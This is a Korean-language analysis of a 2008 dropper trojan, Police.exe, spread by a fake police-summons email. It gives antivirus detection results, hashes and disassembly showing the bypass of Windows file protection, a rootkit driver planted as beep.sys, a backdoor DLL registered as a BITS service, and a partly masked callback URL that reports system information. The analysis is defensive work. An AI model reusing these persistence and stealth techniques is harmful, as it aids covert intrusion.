Dropper/Agent.97280.D Analysis

1. 개 요

잊을 만하면 한번씩 사회공학기법(Social Engineering)을 이용한 악성코드가 출현했다. 이번에는 첨부파일인 Police.exe를 확인하고 경찰서로 출두하라는 내용과 함께 불특정 다수에게 유포되었는데 아마 메일을 받고 도둑이 제발 저린다고 순간 뜨끔했던 사용자들도 있었을 것이다.

이 문서에서 Dropper/Agent.97280.D(이하 Agent.97280.D)에 대해서 최대한<?> 상세하게 분석해 보자.

2. VirusTotal Scan Result

AhnLab-V3	2008.9.23.1 2008.09.23	Dropper/Agent.97280.D
AntiVir	7.8.1.34 2008.09.23	TR/Agent.68096
Authentium	5.1.0.4 2008.09.23	W32/SYStroj.N.gen!Eldorado
Avast	4.8.1195.0 2008.09.22	Win32:Trojan-gen {Other}
AVG	8.0.0.161 2008.09.23	Worm/Agent.N
BitDefender	7.2 2008.09.23	Trojan.Generic.365556
CAT-QuickHeal	9.50 2008.09.23	Rootkit.Agent.btu
ClamAV	0.93.1 2008.09.23	Trojan.Agent-42842
DrWeb	4.44.0.09170 2008.09.23	Trojan.DownLoad.1178
eSafe	7.0.17.0 2008.09.22	Rootkit.Win32.Agent.
eTrust-Vet	31.6.6101 2008.09.23	-
Ewido	4.0 2008.09.23	Rootkit.Agent.btu
F-Prot	4.4.4.56 2008.09.22	W32/Backdoor2.CGEO
F-Secure	8.0.14332.0 2008.09.23	Rootkit.Win32.Agent.btu
Fortinet	3.113.0.0 2008.09.23	W32/Agent.BTU!tr.rkit
GData	19 2008.09.23	Trojan.Generic.365556
Ikarus	T3.1.1.34.0 2008.09.23	Rootkit.Win32.Agent.btu
K7AntiVirus	7.10.469 2008.09.23	Rootkit.Win32.Agent.btu
Kaspersky	7.0.0.125 2008.09.23	Rootkit.Win32.Agent.btu
McAfee	5389 2008.09.22	Generic BackDoor.t
Microsoft	1.3903 2008.09.23	-
NOD32v2	3464 2008.09.23	probably a variant of Win32/Genetik
Norman	5.80.02 2008.09.19	W32/Rootkit.OVH
Panda	9.0.0.4 2008.09.22	Suspicious file
PCTools	4.4.2.0 2008.09.23	-
Prevx1	V2 2008.09.23	-
Rising	20.63.12.00 2008.09.23	Backdoor.Win32.Undef.bio
Sophos	4.33.0 2008.09.23	Sus/Behav-1009
Sunbelt	3.1.1662.1 2008.09.23	Rootkit.Win32.Agent.btu
Symantec	10 2008.09.23	-
TheHacker	6.3.0.9.091 2008.09.23	-
TrendMicro	8.700.0.1004 2008.09.23	BKDR_PCLIENT.AR
VBA32	3.12.8.5 2008.09.23	Backdoor.Win32.Agent.oog
ViRobot	2008.9.23.1389 2008.09.23	Trojan.Win32.RT-Agent.97280
VirusBuster	4.5.11.0 2008.09.23	-
Webwasher-Gateway	6.6.2 2008.09.23	Trojan.Agent.68096

2008.09.23 23:02(GMT +09:00)에 police.exe를 VirusTotal에 돌려보면 위의 진단결과처럼 대다수의 백신이 진단하고 있음을 알 수가 있었다.

3. BinText String & Hash Analysis

(3-1) BinText String Analysis

[String Information]

- Dropper Function: Agent.97280.D 내부에 포함된 또 다른 MZ-PE구조를 가진 파일을 생성할 때

(String:Dropper) 00001F61 00403161 0 !This program cannot be run in DOS mode.
(String:Dropper) 00002AFD 004040FD 0 !This program cannot be run in DOS mode.
(API:FileDrop==) 000018E8 004024E8 0 SizeofResource
(API:FileDrop==) 0000186A 0040246A 0 LoadResource
(API:FileDrop==) 00001878 00402478 0 FindResourceA
(API:FileDrop==) 000019E6 004025E6 0 FreeResource
(API:FileDrop==) 0000185C 0040245C 0 CreateFileA
(API:FileDrop==) 0000EF00 00410500 0 CopyFileA
(API:FileDrop==) 0000EF46 00410546 0 WriteFile

- Web Connection: Web에 접속하여 추가로 어떤 행위를 하려고 할 때

(String:GetURL=) 0000F9C6 00410FC6 0 Referer: http://%s
(String:GetURL=) 0000FAB0 004110B0 0 http://
(String:NoIfDir) 0000F952 00410F52 0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate
(API:ConnectURL) 0000F580 00410B80 0 InternetOpenUrlA
(API:ConnectURL) 0000F594 00410B94 0 InternetOpenA
(API:ConnectURL) 0000F558 00410B58 0 InternetReadFile
(API:ConnectURL) 0000F56C 00410B6C 0 InternetCloseHandle

- Stealth Function: 자신을 은폐시킬 때

(API:Stealth===) 0000257C 0040377C 0 KeServiceDescriptorTable
(API:Stealth===) 000028A8 00403AA8 0 Can't find KeServiceDescriptorTable
(API:Stealth===) 00002530 00403730 0 IofCompleteRequest
(API:Stealth===) 00002552 00403752 0 IoDeleteDevice
(API:Stealth===) 00002564 00403764 0 IoDeleteSymbolicLink
(API:Stealth===) 000025CA 004037CA 0 ntoskrnl.exe

- File Control: 특정 프로세스를 종료 또는 삭제 그리고 레지스트리 설정할 때

(API:FileRun===) 0000F270 00410870 0 ShellExecuteA
(API:FileDel===) 00001A1C 0040261C 0 DeleteFileA
(API:ProcKill==) 0000EE7A 0041047A 0 TerminateProcess
(API:Registry==) 00001B0A 0040270A 0 RegSetValueExA
(API:Registry==) 00001B1A 0040271A 0 RegCloseKey
(API:Registry==) 00001AFA 004026FA 0 RegOpenKeyExA
(API:FileHandle) 0000EF2A 0041052A 0 GetFileSize
(API:FileHandle) 0000F25E 0041085E 0 SHGetFileInfoA
(API:FileHandle) 0000ED84 00410384 0 FindNextFileA
(API:FileHandle) 0000EDD6 004103D6 0 FindFirstFileA
(API:FileHandle) 0000ED78 00410378 0 FindClose

- Service Control: 특정 서비스를 제어할 때

(API:Service===) 00001B6E 0040276E 0 CloseServiceHandle

```
(API:Service===) 00001AEC   004026EC    0   OpenServiceA
(API:Service===) 00001B38   00402738    0   OpenSCManagerA
(API:Service===) 00001B5E   0040275E    0   StartServiceA
(API:Service===) 00001B82   00402782    0   QueryServiceStatus
(API:Service===) 00001B28   00402728    0   ControlService
(API:Service===) 00001B82   00402782    0   QueryServiceStatus
(API:Service===) 00001B48   00402748    0   ChangeServiceConfigA
```

[/String Information]

지금까지 분석한 악성코드가 사용하는 문자열이나 API를 DB화한 후 매칭시키는 방법으로 얼마나 일치하는지 비교해 본 결과 String은 좀 부족하지만 위에 나열된 API들을 통해서 Agent.97280.D가 대략적으로 어떤 행위를 한다는 것을 유추할 수 있었다.

(3-2) Hash Analysis

File: C:\TempDir\Police.exe
Size: 97280 bytes
MD5: CE2F09ED6BB0EF6EBE7808A817BD7F79
SHA1: D2A5338AEEA7A796357797B862A4AAF1DC2D8A60
CRC32: 858B8CF8

4. Technical Analysis

(4-1) %SYSTEM%\Drivers\beep.sys 대체하기

Beep.sys는 원래 윈도우 OS에 존재하는 정상파일이다. 그러나 요즘 악성코드들이 정상 beep.sys를 삭제하고 자신의 존재를 은폐시키기 위한 루트킷 드라이버로서 beep.sys파일을 생성하고 있다.

일단 아래 루틴을 통해서 정상 beep.sys의 존재여부를 검사한다.

```
//--- %SYSTEM%\drivers\beep.sys 찾기 ---//
00401C5A   |.  68 00010000    push     100                                ; /BufSize = 100 (256.)
00401C5F   |.  50             push     eax                                ; |Buffer
00401C60   |.  FF15 A8204000  call     dword ptr [<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
00401C66   |.  BF AC3B4000    mov      edi, 00403BAC                      ;  ASCII "\drivers\beep.sys"
00401C70   |.  8D5424 10      lea      edx, dword ptr [esp+10]
Stack address=0012FE24, (ASCII "C:\WINDOWS\system32")
edx=7FFB0000
00401C74   |.  F2:AE          repne    scas byte ptr es:[edi]  ;[edi]="C:\Windows\System32\Drivers\beep.sys"
00401C94   |.  E8 37FFFFFF    call     00401BD0
```

정상 beep.sys를 삭제하기 위해서는 sfc_os.dll에서 제공하는 Export 함수를 우회한다. 좀더 쉽게 말하면 윈도우에서는 시스템파일이 삭제되면 시스템 변경 및 복구관련 메시지를 출력하지만 악성코드에서 관련 Export 함수를 우회하므로 메시지가 출력되지 않는다.

```
//--- 파일보호 우회하기---//
00401C05   |.  83C4 08        add      esp, 8
00401C08   |.  68 683B4000    push     00403B68                           ; /FileName = "sfc_os.dll"
00401C0D   |.  FF15 88204000  call     dword ptr [<&KERNEL32.LoadLibrar>; \LoadLibraryA

Executable modules, item 7
 Base=76C10000
 Size=00029000 (167936.)
```

```
Entry=76C1F03A sfc_os.<ModuleEntryPoint>
Name=sfc_os    (system)
File version=5.1.2600.5512 (xpsp.080413-2111 Path=C:\WINDOWS\system32\sfc_os.dll

00401C13  |.  8BF0      mov       esi, eax ; eax=76C10000 (sfc_os.76C10000), esi=00403BBE (Police.00403BBE)
00401C19  |.  6A 05           push      5                                      ; /ProcNameOrOrdinal = #5
00401C1B  |.  56              push      esi                                    ; |hModule, esi=76C10000 (sfc_os.76C10000)
00401C1C  |.  FF15 BC204000 call      dword ptr [<&KERNEL32.GetProcAdd>; \GetProcAddress

00401C22  |.  8D5424 08      lea       edx, dword ptr [esp+8]
00401C26  |.  6A FF          push      -1
00401C28  |.  52             push      edx
00401C29  |.  6A 00          push      0
00401C2B  |.  FFD0           call      eax                                    ; eax=76C19436 (sfc_os.#5)
```

상기 루틴을 통해서 sfc_os.dll를 우회하는데 성공하였다면 아래 루틴을 통해서 정상 beep.sys를 삭제한 후 동일한 경로에 동일한 파일명을 사용하여 루트킷 드라이버를 생성한다. 참고로 윈도우에서 사용하는 정상 beep.sys는 약 5kb로 Agent.97280.D가 생성하는 beep.sys는 약 3kb이다. 따라서 beep.sys가 존재한다고 해서 무조건 악성은 아니며 또한 Agent.97280.D에 감염된 것은 아님을 밝혀 둔다.

//--- beep.sys 삭제 ---//

```
00401CA3  |.  50    push      eax                    ; /FileName = C:\WINDOWS\system32\drivers\beep.sys
00401CA4  |.  FFD7          call      edi                                    ; \DeleteFileA
```

//--- beep.sys 생성 ---//

```
00401CA6  |.  6A 00          push      0                                      ; /hTemplateFile = NULL
00401CA8  |.  6A 02          push      2                                      ; |Attributes = HIDDEN
00401CAA  |.  6A 02          push      2                                      ; |Mode = CREATE_ALWAYS
00401CAC  |.  6A 00          push      0                                       ; |pSecurity = NULL
00401CAE  |.  6A 02          push      2                                      ; |ShareMode = FILE_SHARE_WRITE
00401CB0  |.  8D4C24 24      lea       ecx, dword ptr [esp+24]                 ; |
00401CB4  |.  68 00000040    push      40000000                                ; |Access = GENERIC_WRITE
00401CB9  |.  51             push      ecx       ; |FileName = C:\WINDOWS\system32\drivers\beep.sys
00401CBA  |.  FF15 38204000 call      dword ptr [<&KERNEL32.CreateFile>; \CreateFileA
00401CCA  |.  6A 00          push      0                                      ; /pOverlapped = NULL
00401CCC  |.  52             push      edx                                    ; |pBytesWritten
00401CCD  |.  68 C6080000    push      8C6                ; |nBytesToWrite = 8C6 (2246.), beep.sys의 크기
00401CD2  |.  68 14314000    push      00403114           ; |Buffer = Police.00403114, beep.sys의 MZ헤더위치
00401CD7  |.  56             push      esi                                    ; |hFile
00401CD8  |.  FF15 8C204000 call      dword ptr [<&KERNEL32.WriteFile>>; \WriteFile
```

//---- Agent.97280.D가 생성한 Drivers/beep.sys파일의 일부 ----//

```
00403114  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ?└...┘.■..
00403124  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ?.......@.......
00403134  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00403144  00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00  ............?...
00403154  0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68  ?.???L?Th
00403164  69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
00403174  74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t be run in DOS
```

(4-2) %TEMP%\%d_res.tmp파일 생성하기

//--- %Temp% Path 얻기 ---//

```
004013C0    |.  50              push    eax                                 ; /Buffer
004013C1    |.  68 04010000     push    104                                 ; |BufSize = 104 (260.)
004013C6    |.  FF15 48204000   call    dword ptr [<&KERNEL32.GetTempPathA>] ; \GetTempPathA
004013D2    |.  8D8C24 34010000 lea     ecx, dword ptr [esp+134]            ; [esp+134] = 리턴된 %TEMP%의 경로
```

//--- %TEMP%\%d_res.tmp 파일생성 ---//

```
004013D9    |.  50              push    eax                                 ; /<%d> eax = 0x00536761h
004013DA    |.  51              push    ecx                 ; |<%s> = C:\DOCUME~1\AHNMAR~1\LOCALS~1\Temp\
004013DB    |.  8D5424 38       lea     edx, dword ptr [esp+38]             ; |
004013DF    |.  68 E0304000     push    004030E0                            ; |Format = "%s\%d_res.tmp"
004013E4    |.  52              push    edx                                 ; |s
004013E5    |.  FF15 30214000   call    dword ptr [<&USER32.wsprintfA>]     ; \wsprintfA
004013F2    |.  8B8424 54020000 mov     eax, dword ptr [esp+254]    ;  Police.00403030 = File Type:DLL
```

//--- 리소스 찾기 ---//

```
00401409    |.  50              push    eax                                 ; /ResourceType = File Type(DLL)
0040140A    |.  51              push    ecx                                 ; |ResourceName = 66
0040140B    |.  56              push    esi                                 ; |hModule
0040140C    |.  FF15 40204000   call    dword ptr [<&KERNEL32.FindResourceA>] ; \FindResourceA
00401412    |.  8BD8            mov     ebx, eax                            ;  Police.00404050
```

```
00404050    B0 40 00 00 00 4C 01 00                         ?...L┌..
```

0x00404050h: 0x000040B0h, %TEMP%\%d_res.tmp파일의 MZ헤더위치
0x00404054h: 0x00014C00h, %TEMP%\%d_res.tmp파일의 크기

//--- 리소스 로딩 ---//

```
00401422    |> \53              push    ebx                                 ; /hResource = 00404050
00401423    |.  56              push    esi                                 ; |hModule
00401424    |.  FF15 3C204000   call    dword ptr [<&KERNEL32.LoadResource>]  ; \LoadResource
```

//--- 파일생성 ---//

```
0040143A    |> \6A 00           push    0                                   ; /hTemplateFile = NULL
0040143C    |.  68 80000000     push    80                                  ; |Attributes = NORMAL
00401441    |.  6A 02           push    2                                   ; |Mode = CREATE_ALWAYS
00401443    |.  6A 00           push    0                                   ; |pSecurity = NULL
00401445    |.  6A 02           push    2                                   ; |ShareMode = FILE_SHARE_WRITE
00401447    |.  8D5424 44       lea     edx, dword ptr [esp+44]             ; |
0040144B    |.  68 00000040     push    40000000                            ; |Access = GENERIC_WRITE
00401450    |.  52              push    edx                         ; |FileName = %랜덤한 문자%_res.tmp
edx=0012F9B8, (ASCII "C:\DOCUME~1\AHNMAR~1\LOCALS~1\Temp\\3923359_res.tmp")
00401451    |.  FF15 38204000   call    dword ptr [<&KERNEL32.CreateFileA>]    ; \CreateFileA
```

//--- 랜덤한 문자%_res.tmp%_res.tmp에 코드쓰기 ---//

```
004014D1    |.  6A 00           push    0                                   ; /pOverlapped = NULL
004014D3    |.  51              push    ecx                                 ; |pBytesWritten
004014D4    |.  53              push    ebx                                 ; |/hResource = 00404050
```

```
004014D5    |.  6A 00             push    0                                       ; ||hModule = NULL
004014D7    |.  FF15 5C204000     call    dword ptr [<&KERNEL32.SizeofResource>>; |\SizeofResource
004014DD    |.  50                push    eax                                     ; |nBytesToWrite = 14C00 (84992.)
004014DE    |.  57                push    edi                                     ; |Buffer
004014DF    |.  56                push    esi                                     ; |hFile
004014E0    |.  FF15 8C204000     call    dword ptr [<&KERNEL32.WriteFile>]       ; \WriteFile
```

//--- 파일이동 ---//

```
004014FF    |.  56                push    esi             ; /NewName = C:\WINDOWS\system32\BITSEx.dll
00401500 |. 52  push    edx ; |ExistingName = C:\DOCUME~1\AHNMAR~1\LOCALS~1\Temp\\3923359_res.tmp
00401501    |.  FF15 98204000     call    dword ptr [<&KERNEL32.MoveFileA>]       ; \MoveFile A
```

//--- 파일속성 설정 ---//

```
00401507    |.  6A 06             push    6                       ; /FileAttributes = HIDDEN|SYSTEM
00401509    |.  56                push    esi             ; |FileName = ASCII "C:\WINDOWS\system32\BITSEx.dll
0040150A    |.  FF15 A0204000     call    dword ptr [<&KERNEL32.SetFileAttribut>; \SetFileAttributesA
```

//--- 파일삭제 ---//

```
00401510    |.  8D4424 30         lea     eax, dword ptr [esp+30]
00401514  |.  50   push    eax  ; /FileName = C:\DOCUME~1\AHNMAR~1\LOCALS~1\Temp\\3923359_res.tmp
00401515    |.  FF15 A4204000     call    dword ptr [<&KERNEL32.DeleteFileA>]     ; \DeleteFileA
```

(4-3) %SYSTEM%\BITSEx.dll파일이동

DLL파일을 생성하기에 앞서 SYSTEM32경로를 얻어오기 위해서 GetSystemDirectoryA함수를 사용한다.

//--- %SYSTEM% Path얻기 ---//

```
004011DC    .  68 04010000   push    104                             ; /BufSize = 104 (260.)
004011E1    .  50            push    eax                             ; |Buffer
004011E2    .  897D EC       mov     dword ptr [ebp-14], edi         ; |
004011E5    .  897D E4       mov     dword ptr [ebp-1C], edi         ; |
004011E8    .  FF15 A8204000 call    dword ptr [<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
```

상기 루틴을 통해서 system32경로를 얻어왔으면 DLL파일명을 명명하기 위해서 윈도우의 정상 서비스명인 BITS를 가져와서 조합한다.

//--- DLL File Naming ---//

```
004011EE    .  8B75 08       mov     esi, dword ptr [ebp+8]
004011F1    .  8B1D 30214000 mov     ebx, dword ptr [<&USER32.wsprint>;  USER32.wsprintfA
004011F7    .  8D8D C8FCFFFF lea     ecx, dword ptr [ebp-338]
004011FD    .  56            push    esi                     ; /<%s> = BITS(윈도우 정상 서비스명을 얻어옴)
004011FE    .  51            push    ecx                     ; |<%s> = %SYSTEMPATH%
004011FF    .  8D95 CCFDFFFF lea     edx, dword ptr [ebp-234]        ; |
00401205    .  68 D4304000   push    004030D4                        ; |Format = "%s\%sEx.dll"
0040120A    .  52            push    edx                     ; |s
0040120B    .  FFD3          call    ebx                     ; \wsprintfA
```

```
0012FBC4    0012FCE4   ASCII "C:\WINDOWS\system32\BITSEx.dll"
```

%SYSTEM%\BITSExt.dll란 파일명으로 생성을 성공했다면 아래 루틴을 통해서 BITS 서비스의 Parameter로 실행된다.

//--- BITS Service Control ---//

```
00401234    .  8D95 D0FEFFFF    lea     edx, dword ptr [ebp-130]
0040123A    .  51               push    ecx                                 ; /pHandle
0040123B    .  68 3F000F00      push    0F003F                              ; |Access = KEY_ALL_ACCESS
00401240    .  6A 00            push    0                                   ; |Reserved = 0
00401242    .  52       push    edx     ; |Subkey = SYSTEM\CurrentControlSet\Services\BITS
00401243    .  68 02000080      push    80000002            ; |hKey = HKEY_LOCAL_MACHINE
00401248    .  FF15 04204000    call    dword ptr [<&ADVAPI32.RegOpenKeyExA>] ; \RegOpenKeyExA
```

Parameter로 추가하기 위해서 일단 해당 서비스를 비활성화 시킨다.

//--- BITS Service Status Changed ---//

```
0040126D    .  6A 04            push    4                                   ; /BufSize = 4
0040126F    .  51               push    ecx                                 ; |Buffer
00401270    .  6A 04            push    4                                   ; |ValueType = REG_DWORD
00401272    .  6A 00            push    0                                   ; |Reserved = 0
00401274    .  68 A4304000      push    004030A4                            ; |ValueName = "Start"
00401279    .  52               push    edx                                 ; |hKey
0040127A    .  C745 08 02000000 mov     dword ptr [ebp+8], 2                ; |Service Status Flag
00401281    .  FF15 08204000    call    dword ptr [<&ADVAPI32.RegSetValueExA>>; \RegSetValueExA
```

//--- BITS Service Parameter Control ---//

```
004012D3    .  52               push    edx                                 ; /pHandle
004012D4    .  68 3F000F00      push    0F003F                              ; |Access = KEY_ALL_ACCESS
004012D9    .  6A 00            push    0                                   ; |Reserved = 0
004012DB    .  50     push    eax       ; |Subkey = SYSTEM\CurrentControlSet\Services\BITS\Parameters
004012DC    .  68 02000080  push    80000002            ; |hKey = HKEY_LOCAL_MACHINE
004012E1    .  FF15 04204000    call    dword ptr [<&ADVAPI32.RegOpenKeyExA>] ; \RegOpenKeyExA
```

//--- %SYSTEM%\BITSEx.dll" added as a parameter of BITS service ---//

```
00401300 > \8DBD CCFDFFFF   lea     edi, dword ptr [ebp-234] ; [ebp-234] = C:\WINDOWS\system32\BITSEx.dll
00401306    .  83C9 FF          or      ecx, FFFFFFFF
00401309    .  33C0             xor     eax, eax
0040130B    .  8D95 CCFDFFFF    lea     edx, dword ptr [ebp-234]
00401311    .  F2:AE            repne   scas byte ptr es:[edi]
00401313    .  F7D1             not     ecx
00401315    .  51               push    ecx                                 ; /BufSize
00401316    .  52               push    edx   ; |Buffer = Stack Address for "C:\WINDOWS\system32\BITSEx.dll"
00401317    .  6A 02            push    2                                   ; |ValueType = REG_EXPAND_SZ
00401319    .  50               push    eax                                 ; |Reserved => 0
0040131A    .  8B45 EC          mov     eax, dword ptr [ebp-14]             ; |
0040131D    .  68 50304000      push    00403050                            ; |ValueName = "ServiceDll",
00401322    .  50               push    eax                                 ; |hKey
00401323    .  FF15 08204000    call    dword ptr [<&ADVAPI32.RegSetValueExA>>; \RegSetValueExA
```

최종적으로 구성된 DLL파일의 Parameter 형태는 아래와 같다.

*** The final result :**

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS\Parameters\
ServiceDll="C:\WINDOWS\system32\BITSEx.dll"

BITS서비스의 Imagepath값을 보면 아래와 같다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS\
ImagePath=" %SystemRoot%\system32\svchost.exe -k netsvcs"

즉 위와 같이 구성되면 BITSEx.dll은 svchost.exe에 의해서 로딩되며 외부로 접속하여 추가 악의적인 행위를 하는데 쉽게 말하면 정상 svchost.exe가 악의적인 행위를 하는 것처럼 보여진다.

(5) %SYSTEM%\BITSEx.dll 분석하기

지금까지 분석한 내용을 통해서 BTISEx.dll이 어떻게 실행되는지 알아봤다. 이제 실행되는 BITSEx.dll이 어떤 동작을 하는지 알아보자.

BITSEx.dll은 외부로 접속하기 위해서 아래 루틴을 수행한다.

```
//--- WinInet.dll 로딩 및 Internet*****()함수 EP얻기 ---//
* wininet.dll로딩하기
10001720  /$  81EC F4030000 sub     esp, 3F4
10001726  |.  56             push    esi
10001727  |.  68 F4E00010    push    1000E0F4                        ; /FileName = "wininet.dll"
1000172C  |.  FF15 ACA00010 call    dword ptr [<&KERNEL32.LoadLibrar>; \LoadLibraryA
--- 중간생략 ---
1000173F  |.  8B3D B0A00010 mov     edi, dword ptr [<&KERNEL32.GetPr>;  kernel32.GetProcAddress

* Internet******()함수 EP얻기
10001745  |.  68 E4E00010    push    1000E0E4                        ; /ProcNameOrOrdinal = "InternetOpenA"
1000174A  |.  56             push    esi                             ; |hModule
1000174B  |.  FFD7           call    edi                             ; \GetProcAddress
1000174D  |.  68 D0E00010    push    1000E0D0                        ; /ProcNameOrOrdinal = "InternetOpenUrlA"
10001752  |.  56             push    esi                             ; |hModule
10001753  |.  8BD8           mov     ebx, eax                        ; |
10001755  |.  FFD7           call    edi                             ; \GetProcAddress
10001757  |.  68 BCE00010    push    1000E0BC                        ; /ProcNameOrOrdinal = "InternetCloseHandle"
1000175C  |.  56             push    esi                             ; |hModule
1000175D  |.  8BE8           mov     ebp, eax                        ; |
1000175F  |.  FFD7           call    edi                             ; \GetProcAddress
10001761  |.  68 A8E00010    push    1000E0A8                        ; /ProcNameOrOrdinal = "InternetReadFile"
10001766  |.  56             push    esi                             ; |hModule
10001767  |.  894424 18      mov     dword ptr [esp+18], eax         ; |
1000176B  |.  FFD7           call    edi                             ; \GetProcAddress

//--- Internet***** 익스포트 함수 Call ---//
10001775  |.  68 A0E00010    push    1000E0A0                        ;  ASCII "RiSing"
1000177A  |.  894424 28      mov     dword ptr [esp+28], eax
1000177E  |.  FFD3           call    ebx                             ; InternetOpenA()의 EP
10001780  |.  8BD8           mov     ebx, eax
10001782  |.  85DB           test    ebx, ebx
10001784  |.  74 47          je      short 100017CD
10001786  |.  8B8424 080400>mov     eax, dword ptr [esp+408]        ;  BITSEx.1000E1B8
Stack ss:[0006F38C]=1000E1B8 (BITSEx.1000E1B8), ASCII "http://2**.5*.4*.5*/logo.jpg?
```

[0006F38C]에는 암호화되지 않는 URL주소가 저장되어 있지만 Internet***** 익스포트 함수를 Call하기 전에 상당히 까다로

운 방법을 사용하여 인코딩되어 있었다.

```
--- 중간생략 ---
1000178F  |.  68 00000004   push    4000000
10001798  |.  50            push    eax
10001799  |.  53            push    ebx
1000179A  |.  FFD5          call    ebp                 ; InternetOpenUrlA()의 EP
```

//--- 시스템 정보얻기 ---//

%SYSTEM%\BITSEx.dll는 감염된 시스템의 정보(컴퓨터 이름, 윈도우 OS버전, 메모리양)를 얻어 버퍼에 저장한 후 위에서 알아낸 URL에 조합하여 전송하는 것으로 보였다. (참고로 IDA Pro를 이용해서 분석했다.

```
.text:10003EBA                  lea     eax, [esp+0C0h+nSize]
.text:10003EBE                  mov     [esp+0C0h+nSize], 40h
.text:10003EC6                  push    eax             ; nSize
.text:10003EC7                  push    ebx             ; lpBuffer
.text:10003EC8                  call    ds:GetComputerNameA

.text:10003EDB                  lea     ecx, [esp+0C0h+VersionInformation]
.text:10003EDF                  mov     [esp+0C0h+VersionInformation.dwOSVersionInfoSize], 94h
.text:10003EE7                  push    ecx             ; lpVersionInformation
.text:10003EE8                  call    ds:GetVersionExA ; Get extended information about the
.text:10003EE8                                          ; version of the operating system

.text:10003FAD                  lea     eax, [esp+0C8h+Buffer]
.text:10003FB1                  mov     [esp+0C8h+Buffer.dwLength], 20h
.text:10003FB9                  push    eax             ; lpBuffer
.text:10003FBA                  call    ds:GlobalMemoryStatus

.text:10003FC0                  mov     ecx, [esp+0C8h+Buffer.dwTotalPhys]
.text:10003FC4                  add     ebx, 40h
.text:10003FC7                  shr     ecx, 14h
.text:10003FCA                  inc     ecx
.text:10003FCB                  push    ecx
.text:10003FCC                  push    offset s_Dmb    ; "%dMB"
.text:10003FD1                  push    ebx             ; LPSTR
.text:10003FD2                  call    ds:wsprintfA
```

그외 백도어로도 활동하는 것으로 보이는데 %SYSTEM%\BITSEx.dll에서 파악된 기능은 마우스 및 키보드 이벤트 로깅, SeShutdownPrivilege를 통해서 시스템의 제어권(logoff, Restart, Shut Down) 및 화면캡쳐 등을 할 수 있는 것으로 보인다.

또한 원격지의 악의적인 사용자가 특정 사이트로부터 파일을 다운로드 및 실행할 수 있는 기능도 존재하였다.

결론은 %SYSTEM%\BITSEx.dll은 백도어로서 그리고 함께 생성된 %SYSTEM%\Drivers\beep.sys에 의해서 은폐되어 동작하는 것으로 보인다.